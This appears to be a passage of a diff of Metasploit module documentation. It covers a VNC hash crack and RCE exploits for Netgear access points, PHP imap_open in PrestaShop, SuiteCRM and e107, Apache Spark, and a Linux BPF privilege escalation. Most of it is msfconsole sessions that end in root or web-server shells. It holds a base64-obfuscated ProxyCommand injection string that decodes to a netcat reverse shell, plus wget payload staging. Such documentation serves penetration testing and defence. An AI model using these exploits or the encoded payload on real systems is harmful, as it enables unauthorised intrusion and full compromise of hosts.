[+] 127.0.0.1:40240 - Challenge: 00112233445566778899aabbccddeeff; Response: b7b9c87777661a7a2299733209bfdfce
```
John the Ripper (JTR) Cracker:
```
msf5 auxiliary(server/capture/vnc) > john /tmp/john_vnc
[*] exec: john /tmp/john_vnc
Using default input encoding: UTF-8
Loaded 1 password hash (VNC [DES 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
password (?)
1g 0:00:00:00 DONE 2/3 (2018-11-11 20:38) 25.00g/s 75.00p/s 75.00c/s 75.00C/s password
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

View File

@ -18,6 +18,14 @@ Tested on 2.7.18.0503.
## Options
**RPORT**
Set this to the port for the REST API, usually 8081.
**WEBUI_PORT**
Set this to the port for the web UI, usually 8443.
**TOKEN**
Set this to the service token. Defaults to `AuroraSdnToken37`.

View File

@ -0,0 +1,108 @@
## Description
The module leverages an unauthenticated arbitrary command execution vulnerability in Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, and WNDAP660 before 3.5.5.0. The vulnerability occurs within how the router handles POST requests from (1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php. The vulnerability was discovered by Daming Dominic Chen, creator of FIRMADYNE (https://github.com/firmadyne/firmadyne).
## Vulnerable Application
1. Start msfconsole
2. Do : `use exploit/linux/http/netgear_unauth_exec`
3. Do : `set RHOST [RouterIP]`
4. Do : `set SRVHOST [Your server's IP]` if your payload isn't being hosted on another system
5. Do : `set LHOST [Your IP]`
6. Do : `set MAC_ADDRESS [12 digit number]` if you want some specific MAC address instead of a random one
7. Do : `set TARGETURI [target URI]` if you want to target another URI instead of the default `boardDataWW.php`
8. Do : `set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp` if you want meterpreter session
9. Do : `exploit`
10. If router is vulnerable, payload should be dropped via wget (the default HTTP stager) and executed, and you should obtain a session
## Example with default payload (linux/mipsbe/shell_reverse_tcp)
```
msf > use exploit/linux/http/netgear_unauth_exec
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit
[*] Started reverse TCP handler on 192.168.200.99:4444
[*] Using URL: http://192.168.200.99:8080/Ekvrz8LbW
[*] Client 192.168.200.100 (Wget) requested /Ekvrz8LbW
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56852) at 2018-10-09 20:24:56 +0630
[*] Command Stager progress - 118.97% done (138/116 bytes)
[*] Server stopped.
uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)
```
## Example with meterpreter (linux/mipsbe/meterpreter/reverse_tcp)
```
msf > use exploit/linux/http/netgear_unauth_exec
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit
[*] Started reverse TCP handler on 192.168.200.99:4444
[*] Using URL: http://192.168.200.99:8080/x6ZYzUoe9x7IR
[*] Client 192.168.200.100 (Wget) requested /x6ZYzUoe9x7IR
[*] Sending payload to 192.168.200.100 (Wget)
[*] Sending stage (1108408 bytes) to 192.168.200.100
[*] Meterpreter session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56854) at 2018-10-09 20:26:39 +0630
[*] Command Stager progress - 118.33% done (142/120 bytes)
[*] Server stopped.
meterpreter > sysinfo
Computer : 192.168.200.100
OS : (Linux 2.6.32.70)
Architecture : mips
BuildTuple : mips-linux-muslsf
Meterpreter : mipsbe/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter >
```
## Example using some other vulnerable URI (boardDataNA.php)
```
msf > use exploit/linux/http/netgear_unauth_exec
msf exploit(linux/http/netgear_unauth_exec) > set RHOST 192.168.200.100
RHOST => 192.168.200.100
msf exploit(linux/http/netgear_unauth_exec) > set TARGETURI boardDataNA.php
TARGETURI => boardDataNA.php
msf exploit(linux/http/netgear_unauth_exec) > set LHOST 192.168.200.99
LHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > set SRVHOST 192.168.200.99
SRVHOST => 192.168.200.99
msf exploit(linux/http/netgear_unauth_exec) > exploit
[*] Started reverse TCP handler on 192.168.200.99:4444
[*] Using URL: http://192.168.200.99:8080/zlJyAS8F1As
[*] Client 192.168.200.100 (Wget) requested /zlJyAS8F1As
[*] Sending payload to 192.168.200.100 (Wget)
[*] Command shell session 1 opened (192.168.200.99:4444 -> 192.168.200.100:56856) at 2018-10-09 20:28:41 +0630
[*] Command Stager progress - 118.64% done (140/118 bytes)
[*] Server stopped.
uname -a
Linux netgear123456 2.6.32.70 #1 Thu Feb 18 01:39:21 UTC 2016 mips unknown
id
uid=0(root) gid=0(root)
```

View File

@ -0,0 +1,400 @@
## Vulnerable Application
The [imap_open](http://php.net/manual/en/function.imap-open.php) function within php,
if called without the `/norsh` flag, will attempt to preauthenticate an IMAP session.
On Debian based systems, including Ubuntu, `rsh` is mapped to the ssh binary. Ssh's
`ProxyCommand` option can be passed from `imap_open` to execute arbitrary commands.
While many custom applications may use `imap_open`, it is reported that the following
applications are vulnerable:
* [prestashop](https://github.com/PrestaShop/PrestaShop/blob/0d53d6b58b951ac364ad44671cf1ae9bf7ab6aed/controllers/admin/AdminCustomerThreadsController.php#L1010)
* [SuiteCRM](https://github.com/salesagility/SuiteCRM/blob/153b2bae76097cdba9fc9c025bcd829a702b8687/modules/InboundEmail/EditView.php#L260)
* [e107 v2](https://github.com/e107inc/e107/blob/7570b7ce4e17c03e9759c90889db8e750d566e53/e107_handlers/pop_bounce_handler.php#L83)
Prestashop exploitation requires the admin URI, and administrator credentials.
SuiteCRM exploitation requires administrator credentials.
e107 v2 exploitation requires administrator credentials.
Additional applications were reported vulnerable, but exploits were not written. See [#10987](https://github.com/rapid7/metasploit-framework/pull/10987) for additional details.
### Prestashop 1.7.2.4 on Ubuntu 16.04
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-prestashop-on-ubuntu-17-04-17-10-with-apache2-mariadb-and-php/),
with a few tweeks for Ubuntu 16.04, and to install PHP's imap mod.
```
sudo apt install apache2
sudo sed -i "s/Options Indexes FollowSymLinks/Options FollowSymLinks/" /etc/apache2/apache2.conf
sudo systemctl stop apache2.service
sudo systemctl start apache2.service
sudo systemctl enable apache2.service
sudo apt-get install mariadb-server mariadb-client
sudo systemctl stop mysql.service
sudo systemctl start mysql.service
sudo systemctl enable mysql.service
sudo mysql_secure_installation
sudo systemctl restart mysql.service
sudo apt install php libapache2-mod-php php-common php-mbstring php-xmlrpc php-soap php-gd php-xml php-intl php-mysql php-cli php-mcrypt php-ldap php-zip php-curl php-imap
sudo phpenmod imap
sudo mysql -u root -p
```
Run the following database commands:
```
CREATE DATABASE prestashop;
CREATE USER 'prestashopuser'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON prestashop.* TO 'prestashopuser'@'localhost' IDENTIFIED BY 'user_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
```
```
cd /tmp && curl -O https://download.prestashop.com/download/releases/prestashop_1.7.2.4.zip
unzip prestashop_1.7.2.4.zip
sudo mkdir -p /var/www/html/prestashop
sudo unzip prestashop.zip -d /var/www/html/prestashop/
sudo chown -R www-data:www-data /var/www/html/prestashop/
sudo chmod -R 755 /var/www/html/prestashop/
sudo nano /etc/apache2/sites-available/prestashop.conf
```
Utilize the following configuration:
```
&lt;VirtualHost *:80>
ServerAdmin admin@example.com
DocumentRoot /var/www/html/prestashop/
ServerName example.com
ServerAlias www.example.com
&lt;Directory /var/www/html/prestashop/>
Options +FollowSymlinks
AllowOverride All
Require all granted
&lt;/Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;/VirtualHost>
```
```
sudo a2ensite prestashop.conf
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo systemctl restart apache2.service
```
Browse to the website, and install with default information.
```
sudo rm -rf /var/www/html/prestashop/install/
```
Now browse to `/admin`, and the first time you'll be redirected to the admin URI. If not, `sudo ls /var/www/html/prestashop/admin*`.
### SuiteCRM 7.8.23 on Ubuntu 16.04
Mostly derived from [vultr.com](https://www.vultr.com/docs/how-to-install-suitecrm-on-ubuntu-16-04) but adding php's zip and mbstring packages.
```
sudo apt-get install apache2 mariadb-server php7.0 php7.0-mysql php7.0-gd php7.0-curl php7.0-imap libapache2-mod-php7.0 php7.0-mcrypt php7.0-xml php7.0-json php7.0-mbstring php7.0-zip -y
sudo systemctl restart apache2
sudo phpenmod imap
sudo mysql_secure_installation
```
```
wget https://suitecrm.com/files/156/SuiteCRM-7.8/322/SuiteCRM-7.8.23.zip
unzip SuiteCRM-7.8.23.zip
sudo mv SuiteCRM-7.8.23 /var/www/html/suitecrm
sudo chown -R www-data:www-data /var/www/html/suitecrm
sudo chmod -R 777 /var/www/html/suitecrm
sudo nano /etc/apache2/sites-available/suitecrm.conf
```
Utilize the following configuration:
```
&lt;VirtualHost *:80>
ServerAdmin admin@yourdomain.com
DocumentRoot /var/www/html/suitecrm/
ServerName yourdomain.com
ServerAlias www.yourdomain.com
&lt;Directory /var/www/html/suitecrm/>
Options FollowSymLinks
AllowOverride All
&lt;/Directory>
ErrorLog /var/log/apache2/suitecrm-error_log
CustomLog /var/log/apache2/suitecrm-access_log common
&lt;/VirtualHost>
```
```
sudo a2ensite suitecrm
sudo a2dissite 000-default.conf
sudo systemctl restart apache2
sudo systemctl restart mysql
```
### e107 2.1.9 on Ubuntu 16.04
Mostly derived from [websiteforstudents.com](https://websiteforstudents.com/install-e107-cms-on-ubuntu-16-04-18-04-18-10-with-apache2-mariadb-and-php-7-2/),
however with php 7.0 instead of 7.2.
```
sudo apt install apache2 mariadb-server mariadb-client php7.0 libapache2-mod-php7.0 php7.0-common php7.0-mysql php7.0-gmp php7.0-curl php7.0-intl php7.0-mbstring php7.0-xmlrpc php7.0-gd php7.0-bcmath php7.0-xml php7.0-cli php7.0-zip php7.0-imap -y
sudo systemctl restart apache2.service
sudo systemctl stop mysql.service
sudo systemctl start mysql.service
sudo systemctl enable mysql.service
sudo mysql_secure_installation
sudo mysql -u root -p
```
Run the following database commands:
```
CREATE DATABASE e107;
CREATE USER 'e107user'@'localhost' IDENTIFIED BY 'new_password_here';
GRANT ALL ON e107.* TO 'e107user'@'localhost' IDENTIFIED BY 'new_password_here' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EXIT;
```
```
cd /tmp
wget http://sourceforge.net/projects/e107/files/e107/e107%20v2.1.9/e107_2.1.9_full.zip
sudo unzip -d /var/www/html/e107 /tmp/e107_2.1.9_full.zip
sudo chown -R www-data:www-data /var/www/html/e107/
sudo chmod -R 755 /var/www/html/e107/
sudo nano /etc/apache2/sites-available/e107.conf
```
Utilize the following configuration:
```
&lt;VirtualHost *:80>
ServerAdmin admin@example.com
DocumentRoot /var/www/html/e107
ServerName example.com
ServerAlias www.example.com
&lt;Directory /var/www/html/e107/>
Options FollowSymlinks
AllowOverride All
Require all granted
&lt;/Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
&lt;Directory /var/www/html/e107/>
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*) index.php [PT,L]
&lt;/Directory>
&lt;/VirtualHost>
```
```
sudo a2ensite e107.conf
sudo a2enmod rewrite
sudo a2dissite 000-default
sudo systemctl restart apache2.service
sudo systemctl restart mysql.server
sudo systemctl restart mysql.service
```
### Custom Page on Ubuntu 16.04
Make sure `php-imap` is installed and enabled. Create `imap.php` with the following content.
```
<html>
<body>
<p>imap_open example exploitation page. Use URL parameter 'server'. Ex http://1.1.1.1/imap.php?server=EXPLOITHERE</p>
<?php
$server = htmlspecialchars($_GET["server"]);
$mbox = @imap_open("{".$server.":143}INBOX",'username','password');
echo '<p>Received: '.$server.'</p>';
$errors = imap_errors();
if (is_array($errors)) {
$errors = array_unique($errors);
}
if (count($errors) && is_array($errors)) {
$str_errors = '';
foreach ($errors as $error) {
$str_errors .= $error . ', ';
}
$str_errors = rtrim(trim($str_errors), ',');
}
if (!$mbox) {
echo '<p>Errors: ' . ($str_errors);
}
?>
</body>
</html>
```
## Verification Steps
1. Install a vulnerable application
2. Start msfconsole
3. Do: ```use exploit/linux/http/php_imap_open_rce```
4. Do: ```set TARGETURI [URI]```
5. Do: ```set USERNAME [username]```
6. Do: ```set PASSWORD [password]```
7. Do: ```set target [target]```
8. Do: ```run```
9. You should get a shell.
## Options
**TARGETURI**
The URI for the target. This may change by target. Default is ` `.
Prestashop should be the admin URI, similar to `/admin2769gx8k3`.
## Scenarios
### PrestaShop 1.7.2.4 on Ubuntu 16.04.4 with PHP 7.0
```
resource (presta.rb)> use exploit/linux/http/php_imap_open_rce
resource (presta.rb)> set TARGETURI /admin2769gx8k3
TARGETURI => /admin2769gx8k3
resource (presta.rb)> set USERNAME ubuntu@none.com
USERNAME => ubuntu@none.com
resource (presta.rb)> set PASSWORD ubuntuubuntu
PASSWORD => ubuntuubuntu
resource (presta.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (presta.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (presta.rb)> set target 0
target => 0
resource (presta.rb)> set verbose true
verbose => true
resource (presta.rb)> exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Redirected to http://1.1.1.1/admin2769gx8k3/
[*] Redirected to http://1.1.1.1/admin2769gx8k3/index.php?controller=AdminLogin&token=6dab1f7b4eea17d2b44a8929ead9df68
[*] Token: 6dab1f7b4eea17d2b44a8929ead9df68 and Login Redirect: http://1.1.1.1/admin2769gx8k3/&token=09283f9efc45fc75eca3b8d5f1b1f92f
[*] Logging in with ubuntu@none.com:ubuntuubuntu
[*] Login JSON Response: {"hasErrors":false,"redirect":"http:\/\/1.1.1.1\/admin2769gx8k3\/index.php?controller=AdminDashboard&token=e324e8b387afb1874947db9b1ba411c8"}
[+] Login Success, loading admin dashboard to pull tokens
[*] Customer Threads Token: ec653c8bfc09754fc63aaa94101911dc
[+] Sending Payload with Final Token: ec653c8bfc09754fc63aaa94101911dc
[*] IMAP server change left on server, manual revert required.
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:41964) at 2018-11-20 18:29:28 -0500
uname -a
Linux ubuntu1604 4.4.0-138-generic #164-Ubuntu SMP Tue Oct 2 17:16:02 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### SuiteCRM 7.8.23 on Ubuntu 16.04.4 with PHP 7.0
```
resource (suitecrm.rb)> use exploit/linux/http/php_imap_open_rce
resource (suitecrm.rb)> set target 1
target => 1
resource (suitecrm.rb)> set TARGETURI /
TARGETURI => /
resource (suitecrm.rb)> set USERNAME admin
USERNAME => admin
resource (suitecrm.rb)> set PASSWORD admin
PASSWORD => admin
resource (suitecrm.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (suitecrm.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (suitecrm.rb)> set verbose true
verbose => true
resource (suitecrm.rb)> exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Loading login page
[*] Logging in as admin:admin
[+] Login Success
[*] Loading InboundEmail page
[+] Sending payload with group_id f047031d-1697-3d0d-bd39-5bf499e5470a
[*] IMAP server config left on server, manual removal required.
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:32806) at 2018-11-20 18:31:40 -0500
uname -a
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### e107 2.1.9 on Ubuntu 16.04.4 with PHP 7.0
```
resource (e107.rb)> use exploit/linux/http/php_imap_open_rce
resource (e107.rb)> set target 2
target => 2
resource (e107.rb)> set TARGETURI /
TARGETURI => /
resource (e107.rb)> set USERNAME admin
USERNAME => admin
resource (e107.rb)> set PASSWORD admin
PASSWORD => admin
resource (e107.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (e107.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (e107.rb)> set verbose true
verbose => true
resource (e107.rb)> exploit
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Logging in as admin:admin
[+] Login Success
[*] Checking if Cron is enabled for triggering
[+] Storing payload in mail settings
[*] Loading cron page to execute job manually
[+] Triggering manual run of mail bounce check cron to execute payload with cron id 3 and etoken 3b6aa8ca02dbd2bf8218874606c5e2f1
[*] IMAP server config left on server, manual removal required.
[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:50742) at 2018-11-23 20:01:13 -0500
uname -a
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Custom Page on Ubuntu 16.04
Using the `imap.php` page listed above.
```
msf5 > use exploit/linux/http/php_imap_open_rce
msf5 exploit(linux/http/php_imap_open_rce) > set target 3
target => 3
msf5 exploit(linux/http/php_imap_open_rce) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf5 exploit(linux/http/php_imap_open_rce) > set rhost 2.2.2.2
rhost => 2.2.2.2
msf5 exploit(linux/http/php_imap_open_rce) > exploit
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Listener started for 300 seconds
[+] POST request connection string: x -oProxyCommand=`echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI+JjE7IHJtIC90bXAvaWVib3U=|base64$IFS$()-d|bash`}
[+] GET request connection string: x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41124) at 2018-11-25 10:52:55 -0500
uname -a
Linux ubuntu1604 4.4.0-134-generic #160-Ubuntu SMP Wed Aug 15 14:58:00 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
The GET request was utilized, and the final URL utilized was: `http://2.2.2.2/imap.php?server=x%20-oProxyCommand=%60echo$IFS$()bWtmaWZvIC90bXAvaWVib3U7IG5jIDE5Mi4xNjguMi4xMTcgNDQ0NCAwPC90bXAvaWVib3UgfCAvYmluL3NoID4vdG1wL2llYm91IDI%2BJjE7IHJtIC90bXAvaWVib3U=%7Cbase64$IFS$()-d%7Cbash%60%7D`

View File

@ -0,0 +1,70 @@
## Description
This module exploits an unauthenticated command execution vulnerability in Apache Spark with standalone cluster mode through REST API.
It uses the function CreateSubmissionRequest to submit a malious java class and trigger it.
## Vulnerable Application
https://github.com/vulhub/vulhub/tree/master/spark/unacc
`docker-compose up -d`
## Verification Steps
1. get session on target
2. `use exploit/linux/http/spark_unauth_rce`
3. `set payload <payload>`
4. `set rhosts <rhosts>`
5. `set rport <rport>`
6. `set srvhost <srvhost>`
7. `set srvport <srvport>`
8. `set lport <lport>`
9. `set lhost <lhost>`
10. `exploit`
## Scenarios
### Spark 2.3.1
```
msf5 > use exploit/linux/http/spark_unauth_rce
msf5 exploit(linux/http/spark_unauth_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(linux/http/spark_unauth_rce) > set rport 6066
rport => 6066
msf5 exploit(linux/http/spark_unauth_rce) > set srvhost 10.139.14.167
srvhost => 10.139.14.167
msf5 exploit(linux/http/spark_unauth_rce) > set srvport 9999
srvport => 9999
msf5 exploit(linux/http/spark_unauth_rce) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf5 exploit(linux/http/spark_unauth_rce) > set lhost 10.139.14.167
lhost => 10.139.14.167
msf5 exploit(linux/http/spark_unauth_rce) > set lport 5555
lport => 5555
msf5 exploit(linux/http/spark_unauth_rce) > exploit
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.139.14.167:5555
msf5 exploit(linux/http/spark_unauth_rce) > [*] Starting up our web service ...
[*] Using URL: http://10.139.14.167:9999/feTYHNiHufrGI
[*] 127.0.0.1:6066 - Sending the payload to the server...
[*] Sending stage (53867 bytes) to 10.139.14.167
[*] Meterpreter session 2 opened (10.139.14.167:5555 -> 10.139.14.167:56021) at 2018-11-12 16:59:33 +0800
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 meterpreter java/linux root @ 96b2135aee9c 10.139.14.167:5555 -> 10.139.14.167:56021 (127.0.0.1)
msf5 exploit(linux/http/apache_couchdb_cmd_exec) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: root
meterpreter >
```

View File

@ -10,10 +10,10 @@
4.4.0 < 4.4.0-53, including Linux distros based on Ubuntu, such as
Linux Mint.
The target system must have unprivileged user namespaces enabled and
two or more CPU cores.
The target system must have unprivileged user namespaces enabled,
two or more CPU cores, and SMAP must be disabled.
Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation
Bypasses for SMEP and KASLR are included. Failed exploitation
may crash the kernel.

View File

@ -1,167 +1,123 @@
## Notes
This module (and the original exploit) are written in several parts: `hello`, `doubleput`, and `suidhelper`.
Linux kernel 4.4 < 4.5.5 extended Berkeley Packet Filter (eBPF)
does not properly reference count file descriptors, resulting
in a use-after-free, which can be abused to escalate privileges.
Mettle at times on this exploit will give back an invalid session number error. In these cases `payload/linux/x64/shell/bind_tcp` seemed to always work.
The target system must be compiled with `CONFIG_BPF_SYSCALL`
and must not have `kernel.unprivileged_bpf_disabled` set to 1.
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to `fuse.h` being required.
As of PR submission, killing of the process `hello` and `doubleput` has to occur manually. `/tmp/fuse_mount` also needs to be unmounted and deleted.
## Vulnerable Application
This module has been tested successfully on:
* Ubuntu 16.04 (x64) kernel 4.4.0-21-generic (default kernel)
* Ubuntu 16.04 (x64) kernel 4.4.0-38-generic
* Ubuntu 16.04 (x64) kernel 4.4.0-42-generic
* Ubuntu 16.04 (x64) kernel 4.4.0-98-generic
* Ubuntu 16.04 (x64) kernel 4.4.0-140-generic
This module was not tested against, but may work against:
* Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
* Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
* Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
* Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=82
* Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Creating A Testing Environment
There are a few requirements for this module to work:
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
1. `CONFIG_BPF_SYSCALL=y` must be set in the kernel (default on Ubuntu 16.04)
2. `kernel.unprivileged_bpf_disabled` can't be set to `1` (default on Ubuntu 16.04)
3. fuse needs to be installed (non-default on Ubuntu 16.04)
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
This module has been tested against:
The `libfuse-dev` package must be installed to test live-compiling on the target:
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
`apt-get install libfuse-dev=2.9.4-1ubuntu3.1`
This module was not tested against, but may work against:
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/bpf_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
3. Do: `use exploit/linux/local/bpf_priv_esc
4. Do: `set session #`
5. Do: `set verbose true`
6. Do: `exploit`
## Options
**MAXWAIT**
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
The first stage of this priv esc can take ~35 seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to `120` (seconds)
**WritableDir**
A folder we can write files to. Defaults to /tmp
A folder we can write files to. Defaults to `/tmp`
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
#### Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
rhosts => 192.168.199.130
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
### Ubuntu 16.04 (with Linux 4.4.0-21-generic)
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[+] libfuse-dev is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing hello to /tmp/hello.c
[*] Max line length is 65537
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
[*] Writing doubleput to /tmp/doubleput.c
[*] Max line length is 65537
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
[*] Writing suidhelper to /tmp/suidhelper.c
[*] Max line length is 65537
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
[*] Compiling all modules on target
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
[*] Cleaning up...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.199.130
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x86_64
Meterpreter : x64/linux
#### Escalate w/ pre-compiled binaries
```
msf5 > use exploit/linux/local/bpf_priv_esc
msf5 exploit(linux/local/bpf_priv_esc) > set session 1
session => 1
